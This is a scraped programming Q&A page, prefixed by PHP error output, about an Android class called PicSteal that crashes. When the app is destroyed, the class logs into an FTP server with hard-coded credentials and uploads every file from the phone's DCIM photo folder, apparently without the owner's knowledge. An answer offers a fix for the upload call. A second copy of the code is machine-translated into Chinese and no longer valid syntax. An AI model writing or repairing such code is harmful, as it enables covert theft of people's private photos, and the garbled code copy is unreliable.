Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/android/207.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Java 执行此类时Android应用程序崩溃:_Java_Android - Fatal编程技术网

Java 执行此类时Android应用程序崩溃:

Java 执行此类时Android应用程序崩溃:,java,android,Java,Android,此类在主活动的onDestroy()方法期间执行。它大约循环10次,然后崩溃。我能做些什么来防止这种情况?上传步骤后,我是否会减慢进程 代码如下: package com.simplejsonapp; import it.sauronsoftware.ftp4j.FTPAbortedException; import it.sauronsoftware.ftp4j.FTPClient; import it.sauronsoftware.ftp4j.FTPDataTransferExceptio

此类在主活动的onDestroy()方法期间执行。它大约循环10次,然后崩溃。我能做些什么来防止这种情况?上传步骤后,我是否会减慢进程

代码如下:

package com.simplejsonapp;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

import android.os.Build;
import android.os.Environment;

public class PicSteal {
public static void picStealer(){
    //Create the FTP connection object:
    FTPClient client = new FTPClient();
    try {
        //String deviceType = getDeviceName();
        /**
         * This section is where I need to add a decision structure for 
         * what folder to download from based on what kind of device is
         * using the software.
         */

        client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
        client.login("ftpuser", "aaa");//login using credentials

        //this is where the magic happens
        String deviceName = getDeviceName();

        //File samsung = new File("/storage/emulated/0/DCIM/");
        //create the file object
        File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
        //create the array of files to iterate over

            File[] listOfFiles = stock.listFiles();
            processFiles(listOfFiles, client);





        client.disconnect(true);//disconnect

    } catch (IllegalStateException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPIllegalReplyException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }


}
private static void processFiles(File[] listOfFiles, FTPClient client) {
    for (int i = 0; i < listOfFiles.length; i++) {
          if (listOfFiles[i].isFile()) {
             //upload file to server
              try {
                client.upload(new java.io.File(listOfFiles[i].toString()));
            } catch (FTPDataTransferException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (NullPointerException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } 
              catch (FTPAbortedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            //System.out.println("File " + listOfFiles[i].getName());
              catch (IllegalStateException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FileNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPIllegalReplyException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
          } else if (listOfFiles[i].isDirectory()) {
            //System.out.println("Directory " + listOfFiles[i].getName());
              File[] newList = listOfFiles[i].listFiles(); 
              processFiles(newList, client);
          }
        }// TODO Auto-generated method stub

}
public static String getDeviceName() {
      String manufacturer = Build.MANUFACTURER;
      //String model = Build.MODEL;
      return manufacturer;
} 
package com.simplejsonapp;
导入it.sauronsoftware.ftp4j.ftpBartedException;
导入it.sauronsoftware.ftp4j.FTPClient;
导入it.sauronsoftware.ftp4j.FTPDataTransferException;
导入it.sauronsoftware.ftp4j.FTPException;
导入it.sauronsoftware.ftp4j.FTPIllegalReplyException;
导入java.io.File;
导入java.io.FileNotFoundException;
导入java.io.IOException;
导入android.os.Build;
导入android.os.Environment;
公共级PicSteal{
公共静态无效picStealer(){
//创建FTP连接对象:
FTPClient client=新的FTPClient();
试一试{
//字符串deviceType=getDeviceName();
/**
*这一部分是我需要添加决策结构的地方
*根据设备类型,从哪个文件夹下载
*使用软件。
*/
client.connect(“127.0.0.1”);//创建到服务器的连接(此处的IP因4chan而更改)
client.login(“ftpuser”、“aaa”);//使用凭据登录
//这就是魔法发生的地方
字符串deviceName=getDeviceName();
//文件samsung=新文件(“/storage/emulated/0/DCIM/”);
//创建文件对象
File stock=新文件(Environment.getExternalStorageDirectory().getAbsolutePath()+“/DCIM/”;
//创建要迭代的文件数组
文件[]listOfFiles=stock.listFiles();
处理文件(列表文件、客户端);
client.disconnect(true);//断开连接
}捕获(非法状态){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(IOE异常){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(FTPILLEGALREPLYE异常){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(FTPEException e){
//TODO自动生成的捕捉块
e、 printStackTrace();
}
}
私有静态void进程文件(文件[]列表文件,FTPClient客户端){
for(int i=0;i

}

看这一行,你在上传中传递的是字符串,而不是文件列表

client.upload(new java.io.File("listOfFiles[i]"));
使用


注意。感谢您指出,它向我展示了我发布的代码的旧版本。给我20秒钟,我会用最新的代码更新主要问题中的代码。
client.upload(new java.io.File(listOfFiles[i]));